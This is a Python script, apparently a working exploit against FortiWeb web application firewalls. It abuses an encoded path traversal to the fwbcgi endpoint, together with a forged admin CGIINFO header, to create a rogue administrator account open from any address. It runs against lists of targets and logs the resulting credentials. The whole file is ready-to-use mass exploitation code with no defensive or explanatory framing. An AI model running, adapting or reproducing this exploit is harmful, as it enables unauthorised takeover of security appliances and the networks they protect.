import http.client import ssl import base64 import json from uuid import uuid4 import sys import os from urllib.parse import urlparse def parse_target(target): if '://' not in target: target = 'https://' + target parsed = urlparse(target) hostname = parsed.hostname port = parsed.port if port is None: if parsed.scheme == 'https': port = 443 else: port = 443 # Default to 443 for HTTPS return hostname, port def exploit_target(host, port): user = str(uuid4())[:8] passwd = user raw_path = "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi" cgiinfo_json = { "username": "admin", "profname": "prof_admin", "vdom": "root", "loginname": "admin" } cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode() headers = { "CGIINFO": cgiinfo_b64, "Content-Type": "application/x-www-form-urlencoded", } body = { "data": { "q_type": 1, "name": user, "access-profile": "prof_admin", "access-profile_val": "0", "trusthostv4": "0.0.0.0/0", "trusthostv6": "::/0", "last-name": "", "first-name": "", "email-address": "", "phone-number": "", "mobile-number": "", "hidden": 0, "comments": "", "sz_dashboard": -1, "type": "local-user", "type_val": "0", "admin-usergrp_val": "0", "wildcard_val": "0", "accprofile-override_val": "0", "sshkey": "", "passwd-set-time": 0, "history-password-pos": 0, "history-password0": "", "history-password1": "", "history-password2": "", "history-password3": "", "history-password4": "", "history-password5": "", "history-password6": "", "history-password7": "", "history-password8": "", "history-password9": "", "force-password-change": "disable", "force-password-change_val": "0", "password": passwd } } body_data = json.dumps(body) try: context = ssl._create_unverified_context() if port == 443: conn = http.client.HTTPSConnection(host, port, context=context, timeout=10) else: conn = http.client.HTTPSConnection(host, port, context=context, timeout=10) conn.request("POST", raw_path, body=body_data, headers=headers) resp = conn.getresponse() result = { 'target': f"{host}:{port}", 'status': resp.status, 'user': user, 'password': passwd, 'success': resp.status == 200 } conn.close() return result except Exception as e: return { 'target': f"{host}:{port}", 'status': 'Error', 'user': None, 'password': None, 'success': False, 'error': str(e) } def main(): if len(sys.argv) != 2: print("Usage: python3 exploit_forti.py ") print("\nExamples:") print(" python3 exploit_forti.py targets.txt") print(" python3 exploit_forti.py 192.168.1.1") print(" python3 exploit_forti.py 192.168.1.1:8443") print(" python3 exploit_forti.py https://192.168.1.1:8443") sys.exit(1) input_arg = sys.argv[1] targets = [] if os.path.exists(input_arg): print(f"[*] Reading targets from file: {input_arg}") with open(input_arg, 'r') as f: targets = [line.strip() for line in f if line.strip() and not line.startswith('#')] else: print(f"[*] Using single target: {input_arg}") targets = [input_arg] if not targets: print("[-] No valid targets found!") sys.exit(1) print(f"[*] Loaded {len(targets)} target(s)") print("[*] Starting exploitation...\n") results = [] successful = [] for i, target in enumerate(targets, 1): print(f"[{i}/{len(targets)}] Testing: {target}") try: host, port = parse_target(target) result = exploit_target(host, port) results.append(result) if result['success']: print(f" [+] SUCCESS - User: {result['user']} / Password: {result['password']}") successful.append(result) else: error_msg = f" - {result['error']}" if 'error' in result else "" print(f" [-] FAILED - Status: {result['status']}{error_msg}") except Exception as e: error_result = { 'target': target, 'status': 'Error', 'user': None, 'password': None, 'success': False, 'error': str(e) } results.append(error_result) print(f" [-] ERROR - {str(e)}") print() output_file = "fortiweb_exploit_results.txt" with open(output_file, 'w') as f: f.write("FortiWeb Exploitation Results\n") f.write("=" * 50 + "\n\n") for result in results: f.write(f"Target: {result['target']}\n") f.write(f"Status: {result['status']}\n") if result['success']: f.write(f"Username: {result['user']}\n") f.write(f"Password: {result['password']}\n") f.write("Result: SUCCESS\n") else: error_msg = f" - {result['error']}" if 'error' in result else "" f.write(f"Result: FAILED{error_msg}\n") f.write("-" * 30 + "\n") print("\n" + "=" * 50) print("EXPLOITATION SUMMARY") print("=" * 50) print(f"Total targets: {len(targets)}") print(f"Successful: {len(successful)}") print(f"Failed: {len(targets) - len(successful)}") print(f"Results saved to: {output_file}") if successful: print("\nSUCCESSFUL EXPLOITS:") for result in successful: print(f" {result['target']} - {result['user']}:{result['password']}") if __name__ == "__main__": main()